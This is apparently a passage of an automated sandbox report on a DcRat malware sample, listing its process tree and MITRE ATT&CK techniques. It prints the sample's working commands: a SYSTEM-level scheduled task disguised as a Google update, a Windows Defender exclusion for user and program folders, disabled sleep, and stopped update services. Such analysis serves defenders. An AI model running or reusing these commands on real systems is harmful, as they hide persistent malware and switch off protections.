  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:2784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:2608
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
  2⤵
  - DcRat
  - Creates scheduled task(s)
  PID:1352

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2956
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:2772
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:1072
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:2844
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1552

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:2852

C:\Windows\system32\taskeng.exe
taskeng.exe {13F2100C-8435-4C6C-9DBD-388157025EAE} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1496
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  PID:2652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:2964

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
1⤵
PID:2328

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
1⤵
PID:1512

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
1⤵
PID:1232

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
1⤵
PID:1740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:1268

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:1580

C:\Windows\System32\sc.exe
sc stop dosvc
1⤵
- Launches sc.exe
PID:2320

C:\Windows\System32\sc.exe
sc stop bits
1⤵
- Launches sc.exe
PID:1708

C:\Windows\System32\sc.exe
sc stop wuauserv
1⤵
- Launches sc.exe
PID:2224

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
1⤵
- Launches sc.exe
PID:1352

C:\Windows\System32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:1320

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:2996

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
PID:596

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry